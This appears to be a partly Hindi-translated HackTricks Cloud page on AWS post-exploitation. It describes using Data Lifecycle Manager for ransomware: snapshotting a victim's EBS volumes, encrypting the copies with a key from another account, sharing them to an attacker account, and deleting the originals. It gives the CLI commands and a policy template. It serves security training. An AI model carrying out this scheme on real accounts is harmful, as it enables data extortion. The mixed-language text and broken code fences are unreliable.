AWS - DLM Post Exploitation

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

डेटा जीवनकाल प्रबंधक (DLM)

EC2:DescribeVolumes, DLM:CreateLifeCyclePolicy

रैंसमवेयर हमला इस प्रकार किया जा सकता है कि जितने भी EBS वॉल्यूम्स संभव हो, उन्हें एन्क्रिप्ट करके फिर मौजूदा EC2 इंस्टेंस, EBS वॉल्यूम्स, और स्नैपशॉट्स को मिटा दिया जाए। इस दुराचारी गतिविधि को स्वचालित करने के लिए, व्यक्ति अमेज़न DLM का उपयोग कर सकता है, स्नैपशॉट्स को एक अन्य AWS खाते से KMS कुंजी के साथ एन्क्रिप्ट करके और एन्क्रिप्टेड स्नैपशॉट्स को एक अलग खाते में स्थानांतरित करके। या फिर वे स्नैपशॉट्स को एन्क्रिप्शन के बिना उस खाते में स्थानांतरित कर सकते हैं जिसे वे प्रबंधित करते हैं और फिर उन्हें वहां एन्क्रिप्ट कर सकते हैं। हालांकि मौजूदा EBS वॉल्यूम्स या स्नैपशॉट्स को सीधे एन्क्रिप्ट करना सीधा नहीं है, इसे एक नया वॉल्यूम या स्नैपशॉट बनाकर किया जा सकता है।

सबसे पहले, व्यक्ति एक कमांड का उपयोग करेगा जिसके द्वारा वॉल्यूम्स पर जानकारी जुटाई जाएगी, जैसे कि इंस्टेंस आईडी, वॉल्यूम आईडी, एन्क्रिप्शन स्थिति, संलग्नता स्थिति, और वॉल्यूम प्रकार। aws ec2 describe-volumes

Secondly, one will create the lifecycle policy. This command employs the DLM API to set up a lifecycle policy that automatically takes daily snapshots of specified volumes at a designated time. It also applies specific tags to the snapshots and copies tags from the volumes to the snapshots. The policyDetails.json file includes the lifecycle policy's specifics, such as target tags, schedule, the ARN of the optional KMS key for encryption, and the target account for snapshot sharing, which will be recorded in the victim's CloudTrail logs.

```hindi
aws dlm create-lifecycle-policy --description "मेरी पहली नीति" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json

A template for the policy document can be seen here:
```bash
```json
{
"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
"ResourceTypes": [
"VOLUME"
],
"TargetTags": [
{
"Key": "उदाहरणकी",
"Value": "उदाहरणमूल्य"
}
],
"Schedules": [
{
"Name": "DailySnapshots",
"CopyTags": true,
"TagsToAdd": [
{
"Key": "SnapshotCreator",
"Value": "DLM"
}
],
"VariableTags": [
{
"Key": "CostCenter",
"Value": "वित्त"
}
],
"CreateRule": {
"Interval": 24,
"IntervalUnit": "HOURS",
"Times": [
"03:00"
]
},
"RetainRule": {
"Count": 14
},
"FastRestoreRule": {
"Count": 2,
"Interval": 12,
"IntervalUnit": "HOURS"
},
"CrossRegionCopyRules": [
{
"TargetRegion": "us-west-2",
"Encrypted": true,
"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
"CopyTags": true,
"RetainRule": {
"Interval": 1,
"IntervalUnit": "DAYS"
}
}
],
"ShareRules": [
{
"TargetAccounts": [
"123456789012"
],
"UnshareInterval": 30,
"UnshareIntervalUnit": "DAYS"
}
]
}
],
"Parameters": {
"ExcludeBootVolume": false
}
}

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Other ways to support HackTricks:

* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>

Last updated